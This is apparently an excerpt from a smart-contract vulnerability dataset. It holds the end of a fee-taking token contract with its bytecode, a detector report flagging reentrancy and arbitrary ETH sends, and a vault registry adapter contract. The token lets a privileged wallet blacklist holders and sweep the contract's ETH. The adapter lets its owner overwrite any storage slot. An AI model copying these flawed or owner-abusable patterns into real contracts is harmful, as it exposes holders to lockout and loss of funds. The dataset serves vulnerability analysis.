_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function taxFork (uint256 redistribution, uint256 tax) external{
require(_msgSender() == _feeAddrWallet1);
require(redistribution < 11); //tax and redistribution can't be more than 10% to make sure no one can lock out the hodlers
require(tax < 11);
_redis = redistribution;
_tax = tax;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function KillBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function ReviveAddress(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80636fc3eaec116100a057806395d89b411161006457806395d89b4114610318578063a9059cbb14610349578063c3c8cd8014610369578063c9567bf91461037e578063dd62ed3e1461039357600080fd5b80636fc3eaec1461028657806370a082311461029b578063715018a6146102bb57806375a458cc146102d05780638da5cb5b146102f057600080fd5b806318160ddd116100e757806318160ddd146101ee57806323b872dd146102155780632ab3083814610235578063313ce5671461024a5780635932ead11461026657600080fd5b806306fdde0314610124578063095ea7b31461017c5780630defe7ff146101ac5780631480b5aa146101ce57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601e81527f42616279566974616c696b207c20742e6d652f62616279766974616c696b000060208201525b60405161017391906116c2565b60405180910390f35b34801561018857600080fd5b5061019c610197366004611611565b6103d9565b6040519015158152602001610173565b3480156101b857600080fd5b506101cc6101c7366004611561565b6103f0565b005b3480156101da57600080fd5b506101cc6101e9366004611674565b610434565b3480156101fa57600080fd5b5069d3c21bcecceda10000005b604051908152602001610173565b34801561022157600080fd5b5061019c6102303660046115d1565b610479565b34801561024157600080fd5b506101cc6104e2565b34801561025657600080fd5b5060405160098152602001610173565b34801561027257600080fd5b506101cc61028136600461163c565b610525565b34801561029257600080fd5b506101cc61056d565b3480156102a757600080fd5b506102076102b6366004611561565b61059a565b3480156102c757600080fd5b506101cc6105bc565b3480156102dc57600080fd5b506101cc6102eb366004611561565b610630565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610173565b34801561032457600080fd5b5060408051808201909152600881526762566974616c696b60c01b6020820152610166565b34801561035557600080fd5b5061019c610364366004611611565b610671565b34801561037557600080fd5b506101cc61067e565b34801561038a57600080fd5b506101cc6106b4565b34801561039f57600080fd5b506102076103ae366004611599565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103e6338484610a7e565b5060015b92915050565b600e546001600160a01b0316336001600160a01b03161461041057600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600e546001600160a01b0316336001600160a01b03161461045457600080fd5b600b821061046157600080fd5b600b811061046e57600080fd5b600a91909155600b55565b6000610486848484610ba2565b6104d884336104d385604051806060016040528060288152602001611862602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e5b565b610a7e565b5060019392505050565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161050c90611715565b60405180910390fd5b69d3c21bcecceda1000000601155565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161050c90611715565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461058d57600080fd5b4761059781610e95565b50565b6001600160a01b0381166000908152600260205260408120546103ea90610ecf565b6000546001600160a01b031633146105e65760405162461bcd60e51b815260040161050c90611715565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e546001600160a01b0316336001600160a01b03161461065057600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006103e6338484610ba2565b600e546001600160a01b0316336001600160a01b03161461069e57600080fd5b60006106a93061059a565b905061059781610f53565b6000546001600160a01b031633146106de5760405162461bcd60e51b815260040161050c90611715565b601054600160a01b900460ff16156107385760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610776308269d3c21bcecceda1000000610a7e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e7919061157d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561082f57600080fd5b505afa158015610843573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610867919061157d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108af57600080fd5b505af11580156108c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e7919061157d565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306109178161059a565b60008061092c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c89190611695565b50506010805469043c33c193756480000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a9190611658565b5050565b6001600160a01b038316610ae05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050c565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050c565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050c565b60008111610cca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050c565b6001600160a01b03831660009081526006602052604090205460ff1615610cf057600080fd5b6001600160a01b0383163014610e4b57600a54600c55600b54600d556010546001600160a01b038481169116148015610d375750600f546001600160a01b03838116911614155b8015610d5c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d715750601054600160b81b900460ff165b15610dce57601154811115610d8557600080fd5b6001600160a01b0382166000908152600760205260409020544211610da957600080fd5b610db442600a6117ba565b6001600160a01b0383166000908152600760205260409020555b6000610dd93061059a565b601054909150600160a81b900460ff16158015610e0457506010546001600160a01b03858116911614155b8015610e195750601054600160b01b900460ff165b15610e49578015610e2d57610e2d81610f53565b4767016345785d8a0000811115610e4757610e4747610e95565b505b505b610e568383836110f8565b505050565b60008184841115610e7f5760405162461bcd60e51b815260040161050c91906116c2565b506000610e8c8486611811565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a7a573d6000803e3d6000fd5b6000600854821115610f365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050c565b6000610f40611103565b9050610f4c8382611126565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ffd57600080fd5b505afa158015611011573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611035919061157d565b8160018151811061105657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461107c9130911684610a7e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110b590859060009086903090429060040161174a565b600060405180830381600087803b1580156110cf57600080fd5b505af11580156110e3573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610e56838383611168565b600080600061111061125f565b909250905061111f8282611126565b9250505090565b6000610f4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a3565b60008060008060008061117a876112d1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ac908761132e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111db9086611370565b6001600160a01b0389166000908152600260205260409020556111fd816113cf565b6112078483611419565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124c91815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda100000061127c8282611126565b82101561129a5750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836112c45760405162461bcd60e51b815260040161050c91906116c2565b506000610e8c84866117d2565b60008060008060008060008060006112ee8a600c54600d5461143d565b92509250925060006112fe611103565b905060008060006113118e878787611492565b919e509c509a509598509396509194505050505091939550919395565b6000610f4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e5b565b60008061137d83856117ba565b905083811015610f4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050c565b60006113d9611103565b905060006113e783836114e2565b306000908152600260205260409020549091506114049082611370565b30600090815260026020526040902055505050565b600854611426908361132e565b6008556009546114369082611370565b6009555050565b6000808080611457606461145189896114e2565b90611126565b9050600061146a60646114518a896114e2565b905060006114828261147c8b8661132e565b9061132e565b9992985090965090945050505050565b60008080806114a188866114e2565b905060006114af88876114e2565b905060006114bd88886114e2565b905060006114cf8261147c868661132e565b939b939a50919850919650505050505050565b6000826114f1575060006103ea565b60006114fd83856117f2565b90508261150a85836117d2565b14610f4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050c565b600060208284031215611572578081fd5b8135610f4c8161183e565b60006020828403121561158e578081fd5b8151610f4c8161183e565b600080604083850312156115ab578081fd5b82356115b68161183e565b915060208301356115c68161183e565b809150509250929050565b6000806000606084860312156115e5578081fd5b83356115f08161183e565b925060208401356116008161183e565b929592945050506040919091013590565b60008060408385031215611623578182fd5b823561162e8161183e565b946020939093013593505050565b60006020828403121561164d578081fd5b8135610f4c81611853565b600060208284031215611669578081fd5b8151610f4c81611853565b60008060408385031215611686578182fd5b50508035926020909101359150565b6000806000606084860312156116a9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156116ee578581018301518582016040015282016116d2565b818111156116ff5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117995784516001600160a01b031683529383019391830191600101611774565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117cd576117cd611828565b500190565b6000826117ed57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561180c5761180c611828565b500290565b60008282101561182357611823611828565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461059757600080fd5b801515811461059757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fefe868f34e2df5256d181624e823bd3e0816f4821b8c999fc8f83e84f6d915664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,345 |
0x240315db938d44bb124ae619f5fd0269a02d1271
|
/**
*Submitted for verification at Etherscan.io on 2021-05-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*******************************************************
* Ownable
*******************************************************/
contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
/*******************************************************
* Interfaces
*******************************************************/
interface IV2Vault {
function token() external view returns (address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function apiVersion() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function emergencyShutdown() external view returns (bool);
function depositLimit() external view returns (uint256);
}
interface IV2Registry {
function numTokens() external view returns (uint256);
function numVaults(address token) external view returns (uint256);
function tokens(uint256 tokenIdx) external view returns (address);
function latestVault(address token) external view returns (address);
function vaults(address token, uint256 tokenIdx)
external
view
returns (address);
}
interface IAddressesGenerator {
function assetsAddresses() external view returns (address[] memory);
function assetsLength() external view returns (uint256);
function registry() external view returns (address);
function getPositionSpenderAddresses()
external
view
returns (address[] memory);
}
interface IOracle {
function getNormalizedValueUsdc(address tokenAddress, uint256 amount)
external
view
returns (uint256);
function getPriceUsdcRecommended(address tokenAddress)
external
view
returns (uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address spender, address owner)
external
view
returns (uint256);
}
interface IHelper {
// Strategies helper
function assetStrategiesDelegatedBalance(address)
external
view
returns (uint256);
// Allowances helper
struct Allowance {
address owner;
address spender;
uint256 amount;
address token;
}
function allowances(
address ownerAddress,
address[] memory tokensAddresses,
address[] memory spenderAddresses
) external view returns (Allowance[] memory);
}
/*******************************************************
* Adapter Logic
*******************************************************/
contract RegisteryAdapterV2Vaults is Ownable {
/*******************************************************
* Common code shared by all adapters
*******************************************************/
address public oracleAddress; // The oracle is used to fetch USDC normalized pricing data
address public helperAddress; // A helper utility is used for batch allowance fetching and address array merging
address public addressesGeneratorAddress; // A utility for fetching assets addresses and length
address[] private _extensionsAddresses; // Optional contract extensions provide a way to add new features at a later date
/**
* High level static information about an asset
*/
struct AssetStatic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
address tokenId; // Underlying token address
string name; // Asset Name
string version; // Asset version
string symbol; // Asset symbol
uint8 decimals; // Asset decimals
}
/**
* High level dynamic information about an asset
*/
struct AssetDynamic {
address id; // Asset address
string typeId; // Asset typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
address tokenId; // Underlying token address;
TokenAmount underlyingTokenBalance; // Underlying token balances
AssetMetadata metadata; // Metadata specific to the asset type of this adapter
}
/**
* Information about a user's position relative to an asset
*/
struct Position {
address assetId; // Asset address
address tokenId; // Underlying asset token address
string typeId; // Position typeId (for example "DEPOSIT," "BORROW," "LEND")
uint256 balance; // asset.balanceOf(account)
TokenAmount underlyingTokenBalance; // Represents a user's asset position in underlying tokens
Allowance[] tokenAllowances; // Underlying token allowances
Allowance[] assetAllowances; // Asset allowances
}
/**
* Token amount representation
*/
struct TokenAmount {
uint256 amount; // Amount in underlying token decimals
uint256 amountUsdc; // Amount in USDC (6 decimals)
}
/**
* Allowance information
*/
struct Allowance {
address owner; // Allowance owner
address spender; // Allowance spender
uint256 amount; // Allowance amount (in underlying token)
}
/**
* Information about the adapter
*/
struct AdapterInfo {
address id; // Adapter address
string typeId; // Adapter typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string categoryId; // Adapter categoryId (for example "VAULT")
}
/**
* Fetch static information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsStatic(address[] memory _assetsAddresses)
public
view
returns (AssetStatic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetStatic[] memory _assets = new AssetStatic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetStatic memory _asset = assetStatic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch dynamic information about an array of assets. This method can be used for off-chain pagination.
*/
function assetsDynamic(address[] memory _assetsAddresses)
public
view
returns (AssetDynamic[] memory)
{
uint256 numberOfAssets = _assetsAddresses.length;
AssetDynamic[] memory _assets = new AssetDynamic[](numberOfAssets);
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
AssetDynamic memory _asset = assetDynamic(assetAddress);
_assets[assetIdx] = _asset;
}
return _assets;
}
/**
* Fetch static information for all assets
*/
function assetsStatic() external view returns (AssetStatic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsStatic(_assetsAddresses);
}
/**
* Fetch dynamic information for all assets
*/
function assetsDynamic() external view returns (AssetDynamic[] memory) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsDynamic(_assetsAddresses);
}
/**
* Fetch underlying token allowances relative to an asset.
* This is useful for determining whether or not a user has token approvals
* to allow depositing into an asset
*/
function tokenAllowances(address accountAddress, address assetAddress)
public
view
returns (Allowance[] memory)
{
address tokenAddress = assetUnderlyingTokenAddress(assetAddress);
address[] memory tokenAddresses = new address[](1);
address[] memory assetAddresses = new address[](1);
tokenAddresses[0] = tokenAddress;
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
IHelper(helperAddress).allowances(
accountAddress,
tokenAddresses,
assetAddresses
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch asset allowances based on positionSpenderAddresses (configurable).
* This is useful to determine if a particular zap contract is approved for the asset (zap out use case)
*/
function assetAllowances(address accountAddress, address assetAddress)
public
view
returns (Allowance[] memory)
{
address[] memory assetAddresses = new address[](1);
assetAddresses[0] = assetAddress;
bytes memory allowances =
abi.encode(
IHelper(helperAddress).allowances(
accountAddress,
assetAddresses,
IAddressesGenerator(addressesGeneratorAddress)
.getPositionSpenderAddresses()
)
);
return abi.decode(allowances, (Allowance[]));
}
/**
* Fetch the total number of assets for this adapter
*/
function assetsLength() public view returns (uint256) {
return IAddressesGenerator(addressesGeneratorAddress).assetsLength();
}
/**
* Fetch all asset addresses for this adapter
*/
function assetsAddresses() public view returns (address[] memory) {
return IAddressesGenerator(addressesGeneratorAddress).assetsAddresses();
}
/**
* Fetch registry address from addresses generator
*/
function registryAddress() public view returns (address) {
return IAddressesGenerator(addressesGeneratorAddress).registry();
}
/**
* Allow storage slots to be manually updated
*/
function updateSlot(bytes32 slot, bytes32 value) external onlyOwner {
assembly {
sstore(slot, value)
}
}
/**
* Set optional fallback extension addresses
*/
function setExtensionsAddresses(address[] memory _newExtensionsAddresses)
external
onlyOwner
{
_extensionsAddresses = _newExtensionsAddresses;
}
/**
* Fetch fallback extension addresses
*/
function extensionsAddresses() external view returns (address[] memory) {
return (_extensionsAddresses);
}
/**
* Internal method for constructing a TokenAmount struct given a token balance and address
*/
function tokenAmount(uint256 amount, address tokenAddress)
internal
view
returns (TokenAmount memory)
{
return
TokenAmount({
amount: amount,
amountUsdc: IOracle(oracleAddress).getNormalizedValueUsdc(
tokenAddress,
amount
)
});
}
/*******************************************************
* Common code shared by v1 vaults, v2 vaults and earn
*******************************************************/
/**
* Fetch asset positions of an account given an array of assets. This method can be used for off-chain pagination.
*/
function assetsPositionsOf(
address accountAddress,
address[] memory _assetsAddresses
) public view returns (Position[] memory) {
uint256 numberOfAssets = _assetsAddresses.length;
Position[] memory positions = new Position[](numberOfAssets);
uint256 currentPositionIdx;
for (uint256 assetIdx = 0; assetIdx < numberOfAssets; assetIdx++) {
address assetAddress = _assetsAddresses[assetIdx];
Position memory position =
assetPositionsOf(accountAddress, assetAddress)[0];
if (position.balance > 0) {
positions[currentPositionIdx] = position;
currentPositionIdx++;
}
}
bytes memory encodedData = abi.encode(positions);
assembly {
mstore(add(encodedData, 0x40), currentPositionIdx)
}
positions = abi.decode(encodedData, (Position[]));
return positions;
}
/**
* Fetch asset positions for an account for all assets
*/
function assetsPositionsOf(address accountAddress)
public
view
returns (Position[] memory)
{
address[] memory _assetsAddresses = assetsAddresses();
return assetsPositionsOf(accountAddress, _assetsAddresses);
}
/*******************************************************
* V2 Adapter (unique logic)
*******************************************************/
/**
* Configure adapter
*/
constructor(
address _oracleAddress,
address _helperAddress,
address _addressesGeneratorAddress
) {
require(_oracleAddress != address(0), "Missing oracle address");
oracleAddress = _oracleAddress;
addressesGeneratorAddress = _addressesGeneratorAddress;
helperAddress = _helperAddress;
}
/**
* Return information about the adapter
*/
function adapterInfo() public view returns (AdapterInfo memory) {
return
AdapterInfo({
id: address(this),
typeId: "VAULT_V2",
categoryId: "VAULT"
});
}
// Position types supported by this adapter
string positionDeposit = "DEPOSIT";
string[] public supportedPositions = [positionDeposit];
/**
* Metadata specific to this asset type
*/
struct AssetMetadata {
uint256 pricePerShare; // Vault pricePerShare
bool migrationAvailable; // True if a migration is available for this vault
address latestVaultAddress; // Latest vault migration address
uint256 depositLimit; // Deposit limit of asset
bool emergencyShutdown; // Vault is in emergency shutdown mode
}
/**
* High level adapter metadata scoped to a user
*/
struct AdapterPosition {
uint256 balanceUsdc;
}
/**
* Metadata specific to an asset type scoped to a user.
* Not used in this adapter.
*/
struct AssetUserMetadata {
address depositBalance;
}
/**
* Fetch asset metadata scoped to a user
*/
function assetUserMetadata(address assetAddress, address accountAddress)
public
view
returns (AssetUserMetadata memory)
{}
/**
* Fetch asset metadata scoped to a user
*/
function assetsUserMetadata(address accountAddress)
public
view
returns (AssetUserMetadata[] memory)
{}
/**
* Fetch the underlying token address of an asset
*/
function assetUnderlyingTokenAddress(address assetAddress)
public
view
returns (address)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = vault.token();
return tokenAddress;
}
/**
* Fetch static information about an asset
*/
function assetStatic(address assetAddress)
public
view
returns (AssetStatic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = assetUnderlyingTokenAddress(assetAddress);
return
AssetStatic({
id: assetAddress,
typeId: adapterInfo().typeId,
tokenId: tokenAddress,
name: vault.name(),
version: vault.apiVersion(),
symbol: vault.symbol(),
decimals: vault.decimals()
});
}
/**
* Fetch dynamic information about an asset
*/
function assetDynamic(address assetAddress)
public
view
returns (AssetDynamic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = assetUnderlyingTokenAddress(assetAddress);
uint256 totalSupply = vault.totalSupply();
uint256 pricePerShare = 0;
bool vaultHasShares = totalSupply != 0;
if (vaultHasShares) {
pricePerShare = vault.pricePerShare();
}
address latestVaultAddress =
IV2Registry(registryAddress()).latestVault(tokenAddress);
bool migrationAvailable = latestVaultAddress != assetAddress;
AssetMetadata memory metadata =
AssetMetadata({
pricePerShare: pricePerShare,
migrationAvailable: migrationAvailable,
latestVaultAddress: latestVaultAddress,
depositLimit: vault.depositLimit(),
emergencyShutdown: vault.emergencyShutdown()
});
uint256 balance = assetBalance(assetAddress);
TokenAmount memory underlyingTokenBalance =
tokenAmount(balance, tokenAddress);
return
AssetDynamic({
id: assetAddress,
typeId: adapterInfo().typeId,
tokenId: tokenAddress,
underlyingTokenBalance: underlyingTokenBalance,
metadata: metadata
});
}
/**
* Fetch asset positions of an account given an asset address
*/
function assetPositionsOf(address accountAddress, address assetAddress)
public
view
returns (Position[] memory)
{
IV2Vault _asset = IV2Vault(assetAddress);
uint8 assetDecimals = _asset.decimals();
address tokenAddress = assetUnderlyingTokenAddress(assetAddress);
uint256 balance = _asset.balanceOf(accountAddress);
uint256 _underlyingTokenBalance =
(balance * _asset.pricePerShare()) / 10**assetDecimals;
Position[] memory positions = new Position[](1);
positions[0] = Position({
assetId: assetAddress,
tokenId: tokenAddress,
typeId: positionDeposit,
balance: balance,
underlyingTokenBalance: tokenAmount(
_underlyingTokenBalance,
tokenAddress
),
tokenAllowances: tokenAllowances(accountAddress, assetAddress),
assetAllowances: assetAllowances(accountAddress, assetAddress)
});
return positions;
}
/**
* Fetch asset balance in underlying tokens
*/
function assetBalance(address assetAddress) public view returns (uint256) {
IV2Vault vault = IV2Vault(assetAddress);
return vault.totalAssets();
}
/**
* Fetch high level information about an account
*/
function adapterPositionOf(address accountAddress)
external
view
returns (AdapterPosition memory)
{
Position[] memory positions = assetsPositionsOf(accountAddress);
uint256 balanceUsdc;
for (
uint256 positionIdx;
positionIdx < positions.length;
positionIdx++
) {
Position memory position = positions[positionIdx];
balanceUsdc += position.underlyingTokenBalance.amountUsdc;
}
return AdapterPosition({balanceUsdc: balanceUsdc});
}
/**
* Returns unique list of tokens associated with this adapter
*/
function assetsTokensAddresses() public view returns (address[] memory) {
IV2Registry _registry = IV2Registry(registryAddress());
uint256 numberOfTokens = _registry.numTokens();
address[] memory _tokensAddresses = new address[](numberOfTokens);
for (uint256 tokenIdx = 0; tokenIdx < numberOfTokens; tokenIdx++) {
address tokenAddress = _registry.tokens(tokenIdx);
_tokensAddresses[tokenIdx] = tokenAddress;
}
return _tokensAddresses;
}
/**
* Cascading fallback proxy provides the contract with the ability to add new features at a later time
*/
fallback() external {
for (uint256 i = 0; i < _extensionsAddresses.length; i++) {
address extension = _extensionsAddresses[i];
assembly {
let _target := extension
calldatacopy(0, 0, calldatasize())
let success := staticcall(
gas(),
_target,
0,
calldatasize(),
0,
0
)
returndatacopy(0, 0, returndatasize())
if success {
return(0, returndatasize())
}
}
}
revert("Extensions: Fallback proxy failed to return data");
}
}
|
